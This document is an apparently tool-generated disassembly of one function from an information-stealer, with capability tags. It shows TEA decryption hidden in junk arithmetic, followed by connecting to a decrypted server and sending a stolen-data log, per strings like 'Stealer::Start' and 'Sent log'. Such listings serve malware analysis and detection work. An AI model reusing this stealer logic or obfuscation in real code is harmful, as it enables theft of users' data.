Function at 0x41aa39
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
movzx eax, byte [0x425b1a]
sub esp, 0x34
or eax, 0x4418088c
mov dword [0x425b10], eax
mov al, byte [0x425b1c]
push ebx
push ebp
push esi
xor al, 0x26
push edi
mov byte [0x425b1d], al
call fcn.0041a898
mov ecx, eax
call fcn.0041bf80
mov cl, byte [0x425b1d]
mov dl, byte [0x425b1a]
movzx esi, cl
and cl, 0x30
mov byte [0x425b1d], cl
movzx ecx, dl
imul ecx, ecx, 0x13
mov byte [0x425b1c], cl
test eax, eax
jne 0x41aab7
imul eax, esi, 0x2bbba838
mov dword [0x425b10], eax
movzx eax, byte [0x425b24]
imul eax, eax, 0xf
mov byte [0x425b1d], al
and al, 0x48
mov byte [0x425b1a], al
jmp 0x41b0e6
movzx eax, dl
xor eax, 0x549cbc98
push 0x400
mov dword [0x425b10], eax
call fcn.0040570b
pop ecx
mov cl, byte [0x425b24]
mov edi, eax
xor cl, 0x50
mov dword [esp + 0x34], edi
mov byte [0x425b1c], cl
test edi, edi
je 0x41b0e6
mov edx, dword [0x425b14]
lea ebp, [edi + 2]
movzx ecx, cl
mov ebx, 0x421eb0
imul eax, ecx, 0x65ae2efe
mov ecx, 0x421eb2
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], 3
mov dword [0x425b10], eax
or al, 0x8d
mov byte [esp + 0x15], al
mov al, byte [0x425b1b]
sub al, 0x5c
movzx eax, al
imul eax, eax, 0xd3
sub ecx, edi
mov dword [esp + 0x28], ecx
mov ecx, dword [0x425b20]
mov edi, dword [esp + 0x28]
xor al, 0xb9
sub edx, 0x7a620752
sub al, 0xd
mov dword [esp + 0x30], edx
and al, 0x9b
mov edx, 0x50f3
xor al, 0x14
mov esi, 0xc6ef3720
movzx eax, al
sub ax, dx
mov edx, dword [ebx]
mov ebx, dword [edi + ebp]
mov word [esp + 0x16], ax
movzx eax, al
imul eax, eax, 0xfb
push 0x20
pop ebp
mov dword [esp + 0x18], eax
movzx eax, cx
and eax, 0x91a1f30c
or eax, 0x1308
mov ecx, eax
xor ecx, 0xb1c5
mov dword [esp + 0x2c], ecx
lea edi, [eax - 0x6d06dbe2]
mov ecx, edx
mov eax, edx
shr ecx, 5
add edi, 0xce4a1a38
shl eax, 4
add ecx, 0x5ae563b0
add eax, 0xf7288ea
xor ecx, eax
lea eax, [esi + edx]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shl ecx, 4
shr eax, 5
add ecx, 0x7f030e5e
add eax, 0x2683b371
xor ecx, eax
lea eax, [esi + ebx]
xor ecx, eax
lea esi, [esi + 0x61c88647]
sub edx, ecx
sub ebp, 1
jne 0x41ab9e
mov ebp, dword [esp + 0x20]
mov eax, 0x97c4
or ax, word [esp + 0x2c]
mov ecx, 0x46d5
sub ax, cx
mov dword [0x425b2c], edi
mov word [0x425b18], ax
movzx eax, ax
or eax, 0x9bbc7eaa
mov edi, dword [esp + 0x28]
mov dword [esp + 0x2c], eax
mov dword [0x425b20], eax
mov eax, edx
shr eax, 8
mov byte [ebp - 1], al
mov eax, dword [esp + 0x18]
or eax, 0xbb
mov byte [ebp - 2], dl
mov dword [esp + 0x18], eax
mov byte [0x425b1b], al
mov eax, edx
shr eax, 0x10
mov byte [ebp], al
mov eax, ebx
shr eax, 8
mov byte [ebp + 3], al
mov eax, dword [esp + 0x30]
add al, 0x1c
shr edx, 0x18
or al, 0xcd
mov byte [ebp + 1], dl
mov byte [ebp + 2], bl
mov edx, 0x6c6e
lea ecx, [eax - 0x66]
mov eax, ebx
shr eax, 0x10
mov byte [ebp + 4], al
movzx eax, cl
imul eax, eax, 0x2cea8990
shr ebx, 0x18
mov byte [ebp + 5], bl
add ebp, 8
mov ebx, dword [esp + 0x1c]
add ebx, 8
mov byte [0x425b34], cl
mov dword [0x425b38], eax
mov ax, word [esp + 0x16]
xor ax, dx
mov dword [esp + 0x1c], ebx
movzx edx, ax
mov word [0x425b3c], ax
and edx, 0xebee45f2
sub dword [esp + 0x24], 1
mov al, cl
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x20], ebp
jne 0x41ab43
mov eax, dword [esp + 0x18]
mov ebp, 0x422ef8
mov edx, dword [0x425b10]
xor ebx, ebx
movzx eax, al
add eax, 0x3d985abf
mov edi, dword [esp + 0x34]
mov dword [0x425b14], eax
mov al, byte [esp + 0x15]
add al, 0x3d
mov dword [esp + 0x28], ebx
mov byte [0x425b1c], al
mov al, dl
add al, 0x37
mov byte [edi + 0x18], bl
and al, 0xef
movzx ecx, al
mov byte [0x425b1a], al
mov eax, 0xe50e
imul ecx, eax
movzx eax, dl
imul eax, eax, 0x7d
mov word [0x425b24], cx
mov cl, 0x1a
sub cl, al
lea eax, [esp + 0x28]
push eax
push ebp
push edi
mov byte [0x425b1d], cl
call fcn.00405d9c
mov dl, byte [0x425b1d]
add esp, 0xc
mov cl, byte [0x425b10]
add dl, 0x2a
or cl, 0x57
mov byte [0x425b1a], dl
mov byte [0x425b1c], cl
mov esi, eax
test esi, esi
je 0x41b0c9
movzx eax, dl
mov ecx, 0x4f18
sub ax, cx
mov word [0x425b24], ax
and al, 0x3e
movzx eax, al
imul ecx, eax, 0x89
movzx eax, dl
imul eax, eax, 3
push esi
push str.Trying_to_connect_to__s_n
mov byte [0x425b1c], cl
mov byte [0x425b1a], al
and al, 0xa0
mov byte [0x425b1d], al
movzx eax, cl
and eax, 0x98c3385d
mov dword [0x425b10], eax
call fcn.004115bb
pop ecx
pop ecx
movzx ecx, byte [0x425b1c]
lea edx, [esp + 0x38]
mov eax, 0x28bd
imul ecx, eax
mov al, byte [0x425b1a]
add al, 0x10
mov byte [0x425b1d], al
mov word [0x425b24], cx
mov ecx, esi
call fcn.00417af5
push esi
test al, al
je 0x41b03b
mov al, byte [0x425b1a]
or al, 0xf7
mov byte [0x425b1d], al
mov al, byte [0x425b1c]
add al, 0x69
push str.Successfully_connected_to__s_n
mov byte [0x425b1a], al
call fcn.004115bb
movzx eax, byte [0x425b1d]
pop ecx
pop ecx
mov ecx, 0x6522
add ax, cx
mov word [0x425b24], ax
imul eax, dword [0x425b10], 0x66c6bc25
mov dword [0x425b10], eax
call fcn.0041b2fa
xor byte [0x425b1c], 0x18
lea ecx, [esp + 0x38]
call fcn.0040fdc0
movzx eax, word [0x425b24]
lea ecx, [esp + 0x38]
and eax, 0xf5a56cdb
mov dword [0x425b10], eax
call fcn.004143d7
mov ax, word [0x425b24]
mov ecx, 0x2e30
or ax, cx
mov word [0x425b24], ax
movzx eax, ax
and eax, 0x8dc67d3f
mov dword [0x425b10], eax
call fcn.004199cf
movzx eax, byte [0x425b10]
mov dl, byte [0x425b24]
imul eax, eax, 0xf5
mov cl, dl
and cl, 0x19
mov byte [0x425b1a], cl
mov byte [0x425b1c], al
movzx eax, cl
or eax, 0x5aedf8b7
mov dword [0x425b10], eax
cmp byte [esp + 0x40], bl
je 0x41aeee
movzx eax, byte [0x425b1d]
mov ecx, 0x4917
add ax, cx
and dl, 0xe4
mov word [0x425b24], ax
movzx eax, dl
sub eax, 0x5435a16f
mov byte [0x425b1c], dl
mov dword [0x425b10], eax
call fcn.00413e9a
mov eax, dword [0x425b10]
mov cl, byte [0x425b1a]
xor cl, 0xdd
mov byte [0x425b1a], cl
cmp byte [esp + 0x41], bl
je 0x41af32
movzx eax, al
mov edx, 0x3452
imul ecx, eax, 0xbc
movzx eax, cl
add ax, dx
mov byte [0x425b1a], cl
mov word [0x425b24], ax
movzx eax, cl
mov cl, 0x51
imul eax, eax, 0x2d
sub cl, al
mov byte [0x425b1c], cl
call fcn.004139d8
movzx edx, byte [0x425b1d]
mov eax, 0x1b1
xor dx, ax
mov eax, 0x173f
add dx, ax
mov word [0x425b24], dx
cmp byte [esp + 0x3f], bl
je 0x41af8b
movzx eax, byte [0x425b1c]
or dl, 0x24
imul ecx, eax, 0x4daf65fc
mov byte [0x425b1a], dl
xor ecx, 0xb6326d13
mov al, cl
sub al, 0x48
mov byte [0x425b1c], al
lea eax, [ecx + 0x2642139e]
mov dword [0x425b10], eax
call fcn.0041908e
movzx eax, byte [0x425b1c]
add eax, 0x773d7227
mov dword [0x425b10], eax
call fcn.004168fb
mov eax, 0x2c58
or word [0x425b24], ax
call fcn.00412d81
mov al, byte [0x425b1c]
xor byte [0x425b1a], 0x53
and al, 0x91
push str.Sent_log._Gonna_send_done_message_n
mov byte [0x425b1d], al
call fcn.004115bb
mov al, byte [0x425b1c]
xor al, 0xe8
mov byte [0x425b1a], al
movzx eax, byte [0x425b24]
imul eax, eax, 0x17
pop ecx
push 5
pop ecx
mov byte [0x425b1d], al
call fcn.00418f57
movzx eax, word [0x425b24]
or eax, 0x5d57fb20
mov dword [0x425b10], eax
mov al, byte [0x425b1c]
add al, 0x4d
mov byte [0x425b1d], al
call fcn.00416010
movzx eax, byte [0x425b1c]
mov ecx, 0xcc7
xor dword [0x425b10], 0x3dee69f6
and ax, cx
mov word [0x425b24], ax
call fcn.00415d4d
jmp 0x41b089
movzx eax, byte [0x425b1c]
mov ecx, 0x6f94
and eax, 0x5f8
xor eax, 0x13bb08aa
mov dword [0x425b10], eax
movzx eax, byte [0x425b1c]
push str.Failed_to_connect_to__s_n
add ax, cx
push str.Stealer::Start
mov word [0x425b24], ax
or al, 0x8c
push 0x9f
push str..._stealer_stealer.cpp
mov byte [0x425b1d], al
call fcn.0041176c
add esp, 0x14
mov al, byte [0x425b1d]
mov cl, byte [0x425b1a]
and al, 0x83
add cl, 0x4a
mov byte [0x425b1c], al
movzx eax, cl
imul eax, eax, 0x39
mov byte [0x425b1a], cl
mov byte [0x425b1d], al
lea eax, [esp + 0x28]
push eax
push ebp
push ebx
call fcn.00405d9c
mov dl, byte [0x425b1a]
add esp, 0xc
jmp 0x41ad52
xor dl, 0x44
movzx eax, dl
and eax, 0x60756f6d
mov byte [0x425b1d], dl
push edi
mov dword [0x425b10], eax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret